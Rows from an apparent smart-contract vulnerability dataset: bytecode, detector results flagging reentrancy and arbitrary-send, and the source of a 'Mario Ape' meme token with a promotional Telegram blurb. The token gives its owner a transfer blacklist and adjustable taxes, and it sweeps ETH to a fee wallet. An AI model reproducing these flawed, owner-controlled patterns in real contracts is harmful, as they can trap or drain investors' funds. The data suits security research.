00f54611c14906001600160a01b0316826123c8565b50506008805462ff00001916905550505050505050565b6000611c378383611a92565b6001600160a01b03861660009081526005602052604090205490915060ff1615611c99576001600160a01b038516600090815260026020526040902054611c7f90849061293f565b6001600160a01b0386166000908152600260205260409020555b6001600160a01b03841660009081526005602052604090205460ff1615611cfc5760a08101516001600160a01b038516600090815260026020526040902054611ce291906129bf565b6001600160a01b0385166000908152600260205260409020555b80516001600160a01b038616600090815260016020526040902054611d21919061293f565b6001600160a01b0380871660009081526001602090815260408083209490945584015191871681529190912054611d5891906129bf565b6001600160a01b0385166000908152600160205260409081902091909155810151151580611d8a575060008160c00151115b15611da157611da181604001518260c001516124e6565b600081608001511180611db957506000816101000151115b15611dd157611dd1816080015182610100015161251b565b600081606001511180611de8575060008160e00151115b15611dff57611dff81606001518260e00151612591565b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360a00151604051611e4891815260200190565b60405180910390a360008160e00151826101000151611e6791906129bf565b1115611ec957306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360e00151846101000151611eb791906129bf565b60405190815260200160405180910390a35b5050505050565b600b54600a546000918291825b60075481101561202257826001600060078481548110611eff57611eff612978565b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611f6a5750816002600060078481548110611f4357611f43612978565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611f8057600b54600a54945094505050509091565b6001600060078381548110611f9757611f97612978565b60009182526020808320909101546001600160a01b03168352820192909252604001902054611fc6908461293f565b92506002600060078381548110611fdf57611fdf612978565b60009182526020808320909101546001600160a01b0316835282019290925260400190205461200e908361293f565b91508061201a816129a4565b915050611edd565b50600a54600b546120339190612956565b82101561204a57600b54600a549350935050509091565b90939092509050565b61205b6125a6565b8161206c5760a08101839052610964565b60115460649061207c9085612920565b6120869190612956565b60c082015260125460649061209b9085612920565b6120a59190612956565b60e08201526013546064906120ba9085612920565b6120c49190612956565b610100820181905260e082015160c08301516120e0908661293f565b6120ea919061293f565b6120f4919061293f565b60a082015292915050565b60008080808061210f8689612920565b94508661212757508392506000915081905080612181565b858960c001516121379190612920565b9250858960e001516121499190612920565b91508589610100015161215c9190612920565b9050808261216a858861293f565b612174919061293f565b61217e919061293f565b93505b945094509450945094565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106121c1576121c1612978565b60200260200101906001600160a01b031690816001600160a01b031681525050600860039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612234573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061225891906129f4565b8160018151811061226b5761226b612978565b6001600160a01b03928316602091820292909201015260085461229891309163010000009004168461150f565b60085460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac947906122d7908590600090869030904290600401612a11565b600060405180830381600087803b1580156122f157600080fd5b505af1158015612305573d6000803e3d6000fd5b505050505050565b60085461232c903090630100000090046001600160a01b03168461150f565b60085460105460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a48201526301000000909204169063f305d71990839060c40160606040518083038185885af11580156123a3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611ec99190612a82565b804710156124185760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161091f565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612465576040519150601f19603f3d011682016040523d82523d6000602084013e61246a565b606091505b50509050806124e15760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161091f565b505050565b81600b60008282546124f8919061293f565b9091555050601480548291906000906125129084906129bf565b90915550505050565b806014600201600082825461253091906129bf565b90915550503060009081526005602052604090205460ff161561257257306000908152600260205260408120805483929061256c9084906129bf565b90915550505b30600090815260016020526040812080548492906125129084906129bf565b806014600101600082825461253091906129bf565b6040518061012001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b6001600160a01b038116811461150c57600080fd5b801515811461150c57600080fd5b6000806040838503121561262857600080fd5b8235612633816125f2565b9150602083013561264381612607565b809150509250929050565b600060208083528351808285015260005b8181101561267b5785810183015185820160400152820161265f565b8181111561268d576000604083870101525b50601f01601f1916929092016040019392505050565b600080604083850312156126b657600080fd5b82356126c1816125f2565b946020939093013593505050565b6000602082840312156126e157600080fd5b5035919050565b6000806000606084860312156126fd57600080fd5b8335612708816125f2565b92506020840135612718816125f2565b929592945050506040919091013590565b60006020828403121561273b57600080fd5b8135610b6b816125f2565b6000806040838503121561275957600080fd5b8235612764816125f2565b91506020830135612643816125f2565b6000806040838503121561278757600080fd5b82359150602083013561264381612607565b6000602082840312156127ab57600080fd5b8135610b6b81612607565b6000806000606084860312156127cb57600080fd5b505081359360208301359350604090920135919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561286857816000190482111561284e5761284e612817565b8085161561285b57918102915b93841c9390800290612832565b509250929050565b60008261287f57506001610964565b8161288c57506000610964565b81600181146128a257600281146128ac576128c8565b6001915050610964565b60ff8411156128bd576128bd612817565b50506001821b610964565b5060208310610133831016604e8410600b84101617156128eb575081810a610964565b6128f5838361282d565b806000190482111561290957612909612817565b029392505050565b6000610b6b60ff841683612870565b600081600019048311821515161561293a5761293a612817565b500290565b60008282101561295157612951612817565b500390565b60008261297357634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b60006000198214156129b8576129b8612817565b5060010190565b600082198211156129d2576129d2612817565b500190565b6000602082840312156129e957600080fd5b8151610b6b81612607565b600060208284031215612a0657600080fd5b8151610b6b816125f2565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612a615784516001600160a01b031683529383019391830191600101612a3c565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215612a9757600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220e9f051595b037b664c275df695e59198e968e88ca14e56a5615a70cb1c9e628564736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 980 |
0x20c1584dc25770703639539bad6f20cadba9d24b | /**
*Submitted for verification at Etherscan.io on 2022-03-14
*/
/*
https://t.me/marioape
Tired of Heavy Tax Rugs ?
The Next Ape $MARIOAPE
Silent Fair launch Uniswap 14 March
Total Supply 1,000,000,000
Low tax Ape - 6% Tax (Buy/Sell)
1.5% Max Transaction
100% in liquidity Pool at launch
10k Mcap launch
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract marioapesuper is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Mario Ape";
string private constant _symbol = "MARIOAPE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x60Aa89DD44f89cf4e27908B623e6891A5dA61EFF);
_buyTax = 6;
_sellTax = 6;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 15_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 15_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610349578063c3c8cd8014610369578063c9567bf91461037e578063dbe8272c14610393578063dc1052e2146103b3578063dd62ed3e146103d357600080fd5b8063715018a6146102a65780638da5cb5b146102bb57806395d89b41146102e35780639e78fb4f14610314578063a9059cbb1461032957600080fd5b806323b872dd116100f257806323b872dd14610215578063273123b714610235578063313ce567146102555780636fc3eaec1461027157806370a082311461028657600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a057806318160ddd146101d05780631bbae6e0146101f557600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611876565b610419565b005b34801561016857600080fd5b506040805180820190915260098152684d6172696f2041706560b81b60208201525b60405161019791906118f3565b60405180910390f35b3480156101ac57600080fd5b506101c06101bb366004611784565b61046a565b6040519015158152602001610197565b3480156101dc57600080fd5b50670de0b6b3a76400005b604051908152602001610197565b34801561020157600080fd5b5061015a6102103660046118ae565b610481565b34801561022157600080fd5b506101c0610230366004611744565b6104c3565b34801561024157600080fd5b5061015a6102503660046116d4565b61052c565b34801561026157600080fd5b5060405160098152602001610197565b34801561027d57600080fd5b5061015a610577565b34801561029257600080fd5b506101e76102a13660046116d4565b6105ab565b3480156102b257600080fd5b5061015a6105cd565b3480156102c757600080fd5b506000546040516001600160a01b039091168152602001610197565b3480156102ef57600080fd5b506040805180820190915260088152674d4152494f41504560c01b602082015261018a565b34801561032057600080fd5b5061015a610641565b34801561033557600080fd5b506101c0610344366004611784565b610880565b34801561035557600080fd5b5061015a6103643660046117af565b61088d565b34801561037557600080fd5b5061015a610931565b34801561038a57600080fd5b5061015a610971565b34801561039f57600080fd5b5061015a6103ae3660046118ae565b610b37565b3480156103bf57600080fd5b5061015a6103ce3660046118ae565b610b6f565b3480156103df57600080fd5b506101e76103ee36600461170c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044c5760405162461bcd60e51b815260040161044390611946565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610477338484610ba7565b5060015b92915050565b6000546001600160a01b031633146104ab5760405162461bcd60e51b815260040161044390611946565b66354a6ba7a180008111156104c05760108190555b50565b60006104d0848484610ccb565b610522843361051d85604051806060016040528060288152602001611ac4602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fc2565b610ba7565b5060019392505050565b6000546001600160a01b031633146105565760405162461bcd60e51b815260040161044390611946565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a15760405162461bcd60e51b815260040161044390611946565b476104c081610ffc565b6001600160a01b03811660009081526002602052604081205461047b90611036565b6000546001600160a01b031633146105f75760405162461bcd60e51b815260040161044390611946565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066b5760405162461bcd60e51b815260040161044390611946565b600f54600160a01b900460ff16156106c55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610443565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072557600080fd5b505afa158015610739573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075d91906116f0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a557600080fd5b505afa1580156107b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dd91906116f0565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082557600080fd5b505af1158015610839573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085d91906116f0565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610477338484610ccb565b6000546001600160a01b031633146108b75760405162461bcd60e51b815260040161044390611946565b60005b815181101561092d576001600660008484815181106108e957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092581611a59565b9150506108ba565b5050565b6000546001600160a01b0316331461095b5760405162461bcd60e51b815260040161044390611946565b6000610966306105ab565b90506104c0816110ba565b6000546001600160a01b0316331461099b5760405162461bcd60e51b815260040161044390611946565b600e546109bb9030906001600160a01b0316670de0b6b3a7640000610ba7565b600e546001600160a01b031663f305d71947306109d7816105ab565b6000806109ec6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4f57600080fd5b505af1158015610a63573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8891906118c6565b5050600f805466354a6ba7a1800060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aff57600080fd5b505af1158015610b13573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c09190611892565b6000546001600160a01b03163314610b615760405162461bcd60e51b815260040161044390611946565b600f8110156104c057600b55565b6000546001600160a01b03163314610b995760405162461bcd60e51b815260040161044390611946565b600f8110156104c057600c55565b6001600160a01b038316610c095760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610443565b6001600160a01b038216610c6a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610443565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d2f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610443565b6001600160a01b038216610d915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610443565b60008111610df35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610443565b6001600160a01b03831660009081526006602052604090205460ff1615610e1957600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5b57506001600160a01b03821660009081526005602052604090205460ff16155b15610fb2576000600955600c54600a55600f546001600160a01b038481169116148015610e965750600e546001600160a01b03838116911614155b8015610ebb57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ed05750600f54600160b81b900460ff165b15610ee457601054811115610ee457600080fd5b600f546001600160a01b038381169116148015610f0f5750600e546001600160a01b03848116911614155b8015610f3457506001600160a01b03831660009081526005602052604090205460ff16155b15610f45576000600955600b54600a555b6000610f50306105ab565b600f54909150600160a81b900460ff16158015610f7b5750600f546001600160a01b03858116911614155b8015610f905750600f54600160b01b900460ff165b15610fb057610f9e816110ba565b478015610fae57610fae47610ffc565b505b505b610fbd83838361125f565b505050565b60008184841115610fe65760405162461bcd60e51b815260040161044391906118f3565b506000610ff38486611a42565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561092d573d6000803e3d6000fd5b600060075482111561109d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610443565b60006110a761126a565b90506110b3838261128d565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116457600080fd5b505afa158015611178573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119c91906116f0565b816001815181106111bd57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111e39130911684610ba7565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061121c90859060009086903090429060040161197b565b600060405180830381600087803b15801561123657600080fd5b505af115801561124a573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610fbd8383836112cf565b60008060006112776113c6565b9092509050611286828261128d565b9250505090565b60006110b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611406565b6000806000806000806112e187611434565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113139087611491565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134290866114d3565b6001600160a01b03891660009081526002602052604090205561136481611532565b61136e848361157c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113b391815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113e1828261128d565b8210156113fd57505060075492670de0b6b3a764000092509050565b90939092509050565b600081836114275760405162461bcd60e51b815260040161044391906118f3565b506000610ff38486611a03565b60008060008060008060008060006114518a600954600a546115a0565b925092509250600061146161126a565b905060008060006114748e8787876115f5565b919e509c509a509598509396509194505050505091939550919395565b60006110b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc2565b6000806114e083856119eb565b9050838110156110b35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610443565b600061153c61126a565b9050600061154a8383611645565b3060009081526002602052604090205490915061156790826114d3565b30600090815260026020526040902055505050565b6007546115899083611491565b60075560085461159990826114d3565b6008555050565b60008080806115ba60646115b48989611645565b9061128d565b905060006115cd60646115b48a89611645565b905060006115e5826115df8b86611491565b90611491565b9992985090965090945050505050565b60008080806116048886611645565b905060006116128887611645565b905060006116208888611645565b90506000611632826115df8686611491565b939b939a50919850919650505050505050565b6000826116545750600061047b565b60006116608385611a23565b90508261166d8583611a03565b146110b35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610443565b80356116cf81611aa0565b919050565b6000602082840312156116e5578081fd5b81356110b381611aa0565b600060208284031215611701578081fd5b81516110b381611aa0565b6000806040838503121561171e578081fd5b823561172981611aa0565b9150602083013561173981611aa0565b809150509250929050565b600080600060608486031215611758578081fd5b833561176381611aa0565b9250602084013561177381611aa0565b929592945050506040919091013590565b60008060408385031215611796578182fd5b82356117a181611aa0565b946020939093013593505050565b600060208083850312156117c1578182fd5b823567ffffffffffffffff808211156117d8578384fd5b818501915085601f8301126117eb578384fd5b8135818111156117fd576117fd611a8a565b8060051b604051601f19603f8301168101818110858211171561182257611822611a8a565b604052828152858101935084860182860187018a1015611840578788fd5b8795505b8386101561186957611855816116c4565b855260019590950194938601938601611844565b5098975050505050505050565b600060208284031215611887578081fd5b81356110b381611ab5565b6000602082840312156118a3578081fd5b81516110b381611ab5565b6000602082840312156118bf578081fd5b5035919050565b6000806000606084860312156118da578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561191f57858101830151858201604001528201611903565b818111156119305783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119ca5784516001600160a01b0316835293830193918301916001016119a5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119fe576119fe611a74565b500190565b600082611a1e57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a3d57611a3d611a74565b500290565b600082821015611a5457611a54611a74565b500390565b6000600019821415611a6d57611a6d611a74565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c057600080fd5b80151581146104c057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122084400beb5e6678586be1192467c42d8b6e41cbb3df99c40273948940eff5e1e264736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 981 |
0x5D02c3382395C2be0ad7DE5bc28eE8dd275e154F | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
/**
* This project does not require SafeMath library because Solidity version used is 0.8.0
